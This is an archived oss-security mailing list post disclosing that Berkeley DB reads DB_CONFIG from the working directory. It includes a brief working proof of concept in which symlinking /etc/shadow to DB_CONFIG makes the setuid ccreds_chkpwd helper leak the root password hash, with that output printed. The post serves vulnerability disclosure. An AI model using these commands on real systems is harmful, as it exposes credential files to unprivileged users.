oss-security - Berkeley DB reads DB

Follow @Openwall on Twitter for new release announcements and other news

[<prev] [next>] [thread-next>] [day] [month] [year] [list]

Message-ID: <20170610220613.mfmmpjey2l4aptcj@jwilk.net>
Date: Sun, 11 Jun 2017 00:06:13 +0200
From: Jakub Wilk <jwilk@...lk.net>
To: oss-security@...ts.openwall.com
Subject: Berkeley DB reads DB_CONFIG from cwd

Apparently Berkeley DB reads the DB_CONFIG configuration file from the current 
working directory by default[*]. This is surprising and AFAICT undocumented.

Here's how to exploit it against pam_ccreds:

    $ cat /etc/shadow
    cat: /etc/shadow: Permission denied
    $ ln -sf /etc/shadow DB_CONFIG
    $ /sbin/ccreds_chkpwd moo < /dev/null
    BDB1584 line 1: root:$1$QRCEVRMX$sPppjXE42AZnUPuEWf87D.:17327:0:99999:7:::: incorrect name-value pair

(The above was tested on Debian jessie.)

In the past, nss_db was also exploitable:
CVE-2010-0826

[*] More precisely, this seem to happen when you call db_create() with 
dbenv=NULL; or if you use the dbm_open() function.

-- 
Jakub Wilk

Please check out the Open Source Software Security Wiki, which is counterpart to this mailing list.

Confused about mailing lists and their use? Read about mailing lists on Wikipedia and check out these guidelines on proper formatting of your messages.